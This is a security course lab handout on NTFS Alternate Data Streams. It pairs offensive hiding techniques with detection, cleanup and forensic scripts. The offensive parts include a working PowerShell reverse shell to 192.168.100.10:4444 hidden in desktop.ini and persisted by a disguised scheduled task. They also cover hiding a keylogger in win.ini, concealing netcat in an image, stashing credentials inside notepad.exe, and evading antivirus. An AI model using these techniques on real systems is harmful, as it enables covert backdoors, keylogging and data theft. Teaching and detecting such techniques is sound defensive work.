Lab 4.2: Alternate Data Streams - File Hiding
Learning Objectives
By the end of this lab, you will be able to:
- Understand the concept of Alternate Data Streams in NTFS
- Create and manipulate alternate data streams
- Hide files and malicious code using ADS
- Execute code from an alternate stream
- Detect the presence of ADS on a system
- Clean and remove malicious ADS
Estimated Duration
30 minutes
Prerequisites
- Windows VM with NTFS file system
- CMD and PowerShell command line
- Understanding of file systems (theoretical course)
- Lab 4.1 completed
Professional Context
Alternate Data Streams (ADS) are a legitimate feature of NTFS, but widely exploited by attackers to:
- Hide malware
- Store tools without detection
- Bypass certain antivirus
- Maintain discreet persistence
- Exfiltrate data stealthily
Legitimate use:
- File metadata (zone identifier, author, etc.)
- Extended attributes
- Thumbnails and previews
- Download information (Mark of the Web)
Malicious use:
- Hiding malware
- Storing stolen credentials
- Invisible backdoors
- Data exfiltration
ETHICAL AND LEGAL WARNING
The hiding techniques taught in this lab are used by attackers to hide malware and maintain stealthy access to systems.
AUTHORIZED:
- On your test VM
- For authorized security tests
- For forensic investigation with permission
PROHIBITED:
- Hiding malware on real systems
- Using for hiding malicious activities
- Unauthorized data exfiltration
CONSEQUENCES: Malicious use = Serious computer crime (Criminal Code art. 342.1, 430).
Part 1: Understanding Alternate Data Streams
Step 1.1: Basic Concept
NTFS File System:
Each NTFS file actually has several "streams":
- Main stream: The visible content of the file
- Alternate streams: Additional invisible data
Syntax:
file.txt → Main stream
file.txt:stream1.txt → Alternate stream named "stream1.txt"
file.txt:hidden.exe → Alternate stream named "hidden.exe"
Characteristics:
- Invisible in Windows Explorer
- Invisible with standard
dir - No size limit
- Can contain any type of data
- Can be executed
Step 1.2: Verify Your File System
Verify you are on NTFS:
fsutil fsinfo volumeinfo C:
Look for: File System Name : NTFS
If you are on FAT32 or exFAT: ADS does NOT work (NTFS only)
Questions:
- Is your C: drive on NTFS?
- Have you heard of ADS before this lab?
Part 2: Creating and Manipulating ADS
Step 2.1: Create Your First ADS
Create a normal file:
echo This is the visible content > normal.txt
Check the size:
dir normal.txt
Should show about 30 bytes.
Add an alternate stream:
echo This is a hidden secret message > normal.txt:hidden.txt
Check the size again:
dir normal.txt
IMPORTANT: The size has NOT changed! Still 30 bytes!
Open the file with Notepad:
notepad normal.txt
You see: "This is the visible content"
The hidden message is INVISIBLE!
Step 2.2: Read an ADS
To read the content of the hidden stream:
more < normal.txt:hidden.txt
OR
notepad normal.txt:hidden.txt
Notepad opens with the hidden content!
PowerShell:
Get-Content normal.txt:hidden.txt
Questions:
3. Can you see the hidden stream with dir?
4. How much does the file "weigh" with the hidden stream? (Same size!)
Step 2.3: List the ADS of a File
Command to see ALL streams:
dir /R normal.txt
Should display:
30 normal.txt
33 normal.txt:hidden.txt:$DATA
PowerShell (clearer):
Get-Item normal.txt -Stream *
Result:
FileName: normal.txt
Stream Length
------ ------
:$DATA 30
hidden.txt 33
The hidden stream is revealed!
Step 2.4: Create Multiple ADS
You can have multiple streams on the same file:
echo Secret 1 > normal.txt:data1.txt
echo Secret 2 > normal.txt:data2.txt
echo Secret 3 > normal.txt:data3.txt
List all:
Get-Item normal.txt -Stream *
One file, 4 data streams (1 main + 3 alternate)!
Questions: 5. How many streams can you create on a file? 6. Is there a size limit for an ADS?
Part 3: Hiding Executable Files
Step 3.1: Hide a Complete Executable
Create a malicious PowerShell script:
Save malware.ps1:
Write-Host "Malware executed!" -ForegroundColor Red
whoami
hostname
Get-Process | Select-Object -First 10
Hide it in an innocent text file:
type malware.ps1 > innocent.txt:malware.ps1
Verify:
dir innocent.txt
Size: Just a few bytes (the visible text)!
But the full script is hidden inside!
Execute the hidden script:
powershell -ExecutionPolicy Bypass -File innocent.txt:malware.ps1
The script runs from the hidden stream!
AMAZING: File seems innocent (text), actually contains a full script!
Step 3.2: Hide a .exe Binary
Download netcat (nc.exe):
From: https://eternallybored.org/misc/netcat/
Hide it in an image file:
type nc.exe > photo.jpg:nc.exe
Check the photo:
dir photo.jpg
Normal photo size (a few KB).
Open photo.jpg: The image displays normally!
But netcat is hidden inside!
Execute netcat from the stream:
wmic process call create "C:\Users\YourName\Desktop\photo.jpg:nc.exe"
Netcat runs from the photo!
Questions: 7. Does an antivirus scan ADS by default? 8. How could a forensic analyst detect this?
Step 3.3: Persistence via ADS
Advanced technique: Hide backdoor + automatic execution
Step 1 - Hide the payload:
# Reverse shell script
$reverseShell = @"
`$client = New-Object System.Net.Sockets.TCPClient('192.168.100.10',4444);
`$stream = `$client.GetStream();
[byte[]]`$bytes = 0..65535|%{0};
while((`$i = `$stream.Read(`$bytes, 0, `$bytes.Length)) -ne 0){
`$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$bytes,0, `$i);
`$sendback = (iex `$data 2>&1 | Out-String);
`$sendback2 = `$sendback + 'PS ' + (pwd).Path + '> ';
`$sendbyte = ([text.encoding]::ASCII).GetBytes(`$sendback2);
`$stream.Write(`$sendbyte,0,`$sendbyte.Length);
`$stream.Flush()
};
`$client.Close()
"@
# Hide in an innocent system file
$reverseShell | Out-File -FilePath "C:\Windows\System32\config\systemprofile\desktop.ini:backdoor.ps1"
Step 2 - Create scheduled task that executes from ADS:
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\System32\config\systemprofile\desktop.ini:backdoor.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "SystemMaintenance" -Action $action -Trigger $trigger
Result:
- Completely invisible backdoor
- No visible .ps1 file
- Scheduled task seems normal
- Runs at every startup
- Very hard to detect!
Part 4: Data Exfiltration via ADS
Step 4.1: Hide Stolen Data
Scenario: You have stolen credentials and want to exfiltrate them discreetly.
Create a file with sensitive data:
echo admin:Password123! > credentials.txt
echo user1:SecretPass456 >> credentials.txt
echo database:DBPassword789 >> credentials.txt
Hide in an innocent system file:
type credentials.txt > C:\Windows\System32\notepad.exe:stolen_data.txt
Delete the original:
del credentials.txt
Verification:
credentials.txtno longer existsnotepad.exeis the same size as before- Data hidden in notepad.exe!
Retrieve later:
more < C:\Windows\System32\notepad.exe:stolen_data.txt
Data retrieved!
Step 4.2: Exfiltration via Copy
To exfiltrate:
Method 1 - Copy the entire file:
copy C:\Windows\System32\notepad.exe E:\notepad_backup.exe
On another machine, extract the stream:
more < notepad_backup.exe:stolen_data.txt
Streams are PRESERVED during copy!
Method 2 - Direct stream extraction:
more < notepad.exe:stolen_data.txt > data.txt
Questions: 9. Are ADS preserved during a copy? 10. What happens if you copy to a FAT32 system?
Part 5: Detecting ADS
Step 5.1: Detection Methods
Method 1 - DIR with /R option:
dir /R C:\Users\%USERNAME%\Desktop
Displays all streams of all files.
Method 2 - PowerShell (Recursive):
Get-ChildItem -Path C:\Users\$env:USERNAME -Recurse -ErrorAction SilentlyContinue |
ForEach-Object {
$streams = Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue |
Where-Object {$_.Stream -ne ':$DATA'}
if ($streams) {
[PSCustomObject]@{
File = $_.FullName
Stream = $streams.Stream -join ", "
Size = $streams.Length
}
}
} | Format-Table -AutoSize
Method 3 - Streams Tool (Sysinternals):
Download: https://learn.microsoft.com/en-us/sysinternals/downloads/streams
streams -s C:\Users\%USERNAME%
Displays ALL files with ADS!
Step 5.2: Automated Detection Script
Create detect_ads.ps1:
param(
[string]$Path = "C:\",
[switch]$SuspiciousOnly
)
Write-Host "=== DETECTION ALTERNATE DATA STREAMS ===" -ForegroundColor Cyan
Write-Host "Scanning: $Path"
Write-Host ""
$suspiciousExtensions = @('.exe', '.dll', '.ps1', '.vbs', '.bat', '.cmd', '.js')
$results = @()
Get-ChildItem -Path $Path -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
try {
$file = $_
$streams = Get-Item $file.FullName -Stream * -ErrorAction Stop |
Where-Object {$_.Stream -ne ':$DATA'}
foreach ($stream in $streams) {
$isSuspicious = $false
$reason = ""
# Check if suspicious extension
$streamExt = [System.IO.Path]::GetExtension($stream.Stream)
if ($streamExt -in $suspiciousExtensions) {
$isSuspicious = $true
$reason = "Executable extension"
}
# Check if large stream
if ($stream.Length -gt 10KB) {
$isSuspicious = $true
$reason += " Large size ($($stream.Length) bytes)"
}
# If SuspiciousOnly mode, filter
if (-not $SuspiciousOnly -or $isSuspicious) {
$results += [PSCustomObject]@{
File = $file.FullName
Stream = $stream.Stream
Size = $stream.Length
Suspicious = $isSuspicious
Reason = $reason
}
}
}
} catch {}
}
if ($results.Count -gt 0) {
Write-Host "ADS DETECTED:" -ForegroundColor Yellow
$results | Format-Table -AutoSize
Write-Host "`nTotal: $($results.Count) streams found" -ForegroundColor Yellow
$suspicious = ($results | Where-Object {$_.Suspicious}).Count
if ($suspicious -gt 0) {
Write-Host "WARNING: $suspicious suspicious streams!" -ForegroundColor Red
}
} else {
Write-Host "No ADS detected." -ForegroundColor Green
}
Execution:
# Scan everything
powershell -ExecutionPolicy Bypass -File detect_ads.ps1 -Path C:\Users\$env:USERNAME
# Only suspects
powershell -ExecutionPolicy Bypass -File detect_ads.ps1 -Path C:\ -SuspiciousOnly
Step 5.3: Zone Identifier (Legitimate Use)
Windows uses ADS to mark downloaded files:
Download a file from the Internet, then:
Get-Item downloaded_file.exe -Stream *
You will see:
Stream: Zone.Identifier
Read it:
more < downloaded_file.exe:Zone.Identifier
Content:
[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://example.com/download
HostUrl=https://cdn.example.com/file.exe
ZoneId=3: Downloaded from the Internet (untrusted)
That's why Windows shows the warning "This file came from the Internet"!
Questions: 11. Which files on your system have a Zone.Identifier stream? 12. How to remove this stream? (to bypass the warning)
Part 6: Advanced Offensive Techniques
Step 6.1: Code Execution from ADS
Create a malicious batch file:
@echo off
whoami > C:\Users\Public\whoami.txt
ipconfig > C:\Users\Public\ipconfig.txt
net user > C:\Users\Public\users.txt
Hide it:
type malware.bat > C:\Users\Public\readme.txt:payload.bat
Execute from the stream:
Method 1 - WMIC:
wmic process call create "C:\Users\Public\readme.txt:payload.bat"
Method 2 - PowerShell:
Start-Process -FilePath "C:\Users\Public\readme.txt:payload.bat"
The code executes! Check:
type C:\Users\Public\whoami.txt
Your username appears!
The malware was completely invisible until execution!
Step 6.2: Hide a Complete Keylogger
Use the keylogger from Lab 3.3:
Hide it in a system file:
type keylogger.ps1 > C:\Windows\win.ini:logger.ps1
win.ini: Legitimate Windows file, always present, never suspicious!
Create scheduled task to execute it:
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\win.ini:logger.ps1"
$trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger
Result:
- Completely invisible keylogger
- No visible .ps1 file
- VERY difficult to detect
- Works at every login
Step 6.3: Bypass Antivirus with ADS
Some antivirus do NOT scan ADS by default!
Test with EICAR:
Create normal EICAR file:
echo X5O!P%%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > eicar.com
Windows Defender should IMMEDIATELY detect and delete it!
Now, hide it in an ADS:
echo X5O!P%%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > innocent.txt:eicar.com
Result: Some antivirus do not detect it!
NOTE: Modern Windows Defender detects ADS, but not all antivirus.
Questions: 13. Did Defender detect EICAR in the stream? 14. Why are ADS harder to scan?
Part 7: Cleaning and Removing ADS
Step 7.1: Remove a Specific Stream
PowerShell:
Remove-Item -Path "file.txt" -Stream "stream_name"
Example:
Remove-Item -Path "normal.txt" -Stream "hidden.txt"
Verify:
Get-Item normal.txt -Stream *
The stream "hidden.txt" should have disappeared!
Step 7.2: Remove ALL Streams from a File
Method 1 - Copy to FAT32:
copy file.txt E:\USB_FAT32\file.txt
FAT32 does NOT support ADS: All removed!
Method 2 - Streams.exe Tool:
streams -d file.txt
Option -d: Delete all streams
Method 3 - Recursive PowerShell:
Get-ChildItem -Path C:\Users\$env:USERNAME -Recurse -File | ForEach-Object {
$streams = Get-Item $_.FullName -Stream * | Where-Object {$_.Stream -ne ':$DATA'}
foreach ($stream in $streams) {
Write-Host "Removing: $($_.FullName):$($stream.Stream)"
Remove-Item -Path $_.FullName -Stream $stream.Stream
}
}
WARNING: This removes ALL ADS, even legitimate ones (Zone.Identifier)!
Step 7.3: Complete Security Cleaning
Automated cleaning script:
Write-Host "=== MALICIOUS ADS CLEANING ===" -ForegroundColor Cyan
$cleaned = 0
$extensions = @('.exe', '.dll', '.ps1', '.vbs', '.bat', '.cmd')
Get-ChildItem -Path C:\ -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
try {
$file = $_
$streams = Get-Item $file.FullName -Stream * -ErrorAction Stop |
Where-Object {$_.Stream -ne ':$DATA'}
foreach ($stream in $streams) {
$streamExt = [System.IO.Path]::GetExtension($stream.Stream)
# Remove if executable extension
if ($streamExt -in $extensions) {
Write-Host "REMOVING: $($file.FullName):$($stream.Stream)" -ForegroundColor Red
Remove-Item -Path $file.FullName -Stream $stream.Stream -ErrorAction Stop
$cleaned++
}
}
} catch {}
}
Write-Host "`nTotal: $cleaned malicious streams removed" -ForegroundColor Green
Questions: 15. How many files with ADS did you find on your system? 16. How to differentiate legitimate vs malicious ADS?
Part 8: Forensics and Investigation
Step 8.1: Analyze a Compromised System
Scenario: You suspect an attacker used ADS.
Complete investigation:
Write-Host "=== FORENSIC ADS INVESTIGATION ===" -ForegroundColor Cyan
# Search in system folders
$systemFolders = @(
"C:\Windows\System32",
"C:\Windows\Temp",
"C:\Users\*\AppData\Local\Temp"
)
foreach ($folder in $systemFolders) {
Write-Host "`nScanning: $folder" -ForegroundColor Yellow
Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
$streams = Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue |
Where-Object {$_.Stream -ne ':$DATA'}
if ($streams) {
Write-Host " File: $($_.FullName)"
foreach ($stream in $streams) {
Write-Host " Stream: $($stream.Stream) ($($stream.Length) bytes)"
# Read first bytes for analysis
$content = Get-Content $_.FullName:$($stream.Stream) -TotalCount 5 -ErrorAction SilentlyContinue
if ($content) {
Write-Host " Preview: $($content -join ' ')"
}
}
}
}
}
Step 8.2: Timeline Analysis
Create ADS timeline:
Get-ChildItem C:\ -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue |
Where-Object {$_.Stream -ne ':$DATA'} |
Select-Object @{N='File';E={$_.FileName}},
Stream,
@{N='Size';E={$_.Length}},
@{N='Created';E={(Get-Item $_.FileName).CreationTime}},
@{N='Modified';E={(Get-Item $_.FileName).LastWriteTime}}
} | Sort-Object Modified -Descending | Format-Table -AutoSize
Allows seeing:
- When files were modified
- Correlation with suspicious events
- Attack timeline
Step 8.3: Extraction for Analysis
Extract all ADS into a folder for analysis:
$outputDir = "C:\Forensics\ADS_Extract"
New-Item -ItemType Directory -Force -Path $outputDir
Get-ChildItem C:\Suspect\Path -Recurse -File | ForEach-Object {
$streams = Get-Item $_.FullName -Stream * | Where-Object {$_.Stream -ne ':$DATA'}
foreach ($stream in $streams) {
$outputFile = Join-Path $outputDir "$($_.Name)_$($stream.Stream)"
Get-Content $_.FullName:$($stream.Stream) -Raw | Out-File $outputFile
Write-Host "Extracted: $outputFile"
}
}
Then: Analyze with antivirus, decompilation, static analysis
Questions: 17. What tools would you use to analyze a suspicious ADS? 18. How to reconstruct the timeline of an attack using ADS?
Deliverables
To submit:
-
Technical Report (Word/PDF, 3-4 pages):
- Answers to the 18 questions
- Explanation of the ADS concept
- Demonstration of 3 hiding techniques
- Results from the detection script
-
Screenshots (minimum 6):
- Creation of ADS with hidden file
dirvsdir /R(visible difference)- Code execution from ADS
- Detection with PowerShell
- List of streams (Get-Item -Stream *)
- ADS removal
-
Developed Scripts:
- Improved detection script
- Automated cleaning script
- Forensic extraction script
-
Case Analysis (1-2 pages):
- Attack scenario using ADS
- Detection methodology
- Remediation plan
Evaluation Criteria
| Criterion | Points |
|---|---|
| Understanding of ADS concept | 20% |
| Creation and manipulation of ADS | 25% |
| Detection of existing ADS | 20% |
| Functional detection script | 20% |
| Forensic analysis and remediation | 15% |
Quick Reference Commands
Creation
echo content > file.txt:stream.txt
type source.exe > file.txt:hidden.exe
Reading
more < file.txt:stream.txt
notepad file.txt:stream.txt
type file.txt:stream.txt
Detection
dir /R
streams -s C:\
Get-Item file.txt -Stream *
Get-ChildItem -Recurse | Get-Item -Stream * | Where Stream -ne ':$DATA'
Execution
wmic process call create "file.txt:payload.bat"
start file.txt:payload.exe
powershell -File file.txt:script.ps1
Removal
Remove-Item file.txt -Stream stream_name
streams -d file.txt
Troubleshooting
Problem: "Access denied" when creating ADS
Solution: Check that you have write permissions on the main file. If you cannot modify the file, you cannot add a stream.
Problem: ADS not working
Solution: Verify you are on NTFS. FAT32/exFAT do not support ADS.
Problem: Stream copied to USB disappears
Solution: Your USB is probably on FAT32. ADS are lost when copying to non-NTFS file systems.
Going Further (Optional)
Challenge 1: ADS Forensics
Analyze a suspicious file with ADS:
- Extract all streams
- Analyze content (strings, hex dump)
- Identify malicious intent
- Document indicators of compromise (IOCs)
Challenge 2: Proactive Protection
Develop a monitoring service that:
- Monitors creation of new ADS
- Alerts on executable extensions
- Logs all ADS operations
- Automatically blocks suspicious ADS
Challenge 3: Research
Study real malware using ADS:
- Trojan.Sriknot (2007)
- Streaming data exfiltration techniques
- APT groups using ADS for persistence
Additional Resources
Conclusion
This lab taught you:
- The concept and functioning of Alternate Data Streams
- Techniques for hiding files and malicious code
- Code execution from hidden streams
- Forensic detection methods
- Cleaning and remediation
Key lessons:
- ADS allow hiding complete files within other files
- Files hidden in ADS are invisible with standard tools
- Code can be executed directly from an ADS
- Detection requires specialized tools or specific commands
- ADS are a highly effective persistence and hiding technique
In a real context:
- Used by sophisticated malware to avoid detection
- Discreet persistence technique
- Stealthy data exfiltration
- Requires advanced forensics to detect
Next step: Lab 4.3 where you will learn to recover "permanently deleted" files using Windows Shadow Copies!
Lab developed as part of the Operating Systems course - MODULE 4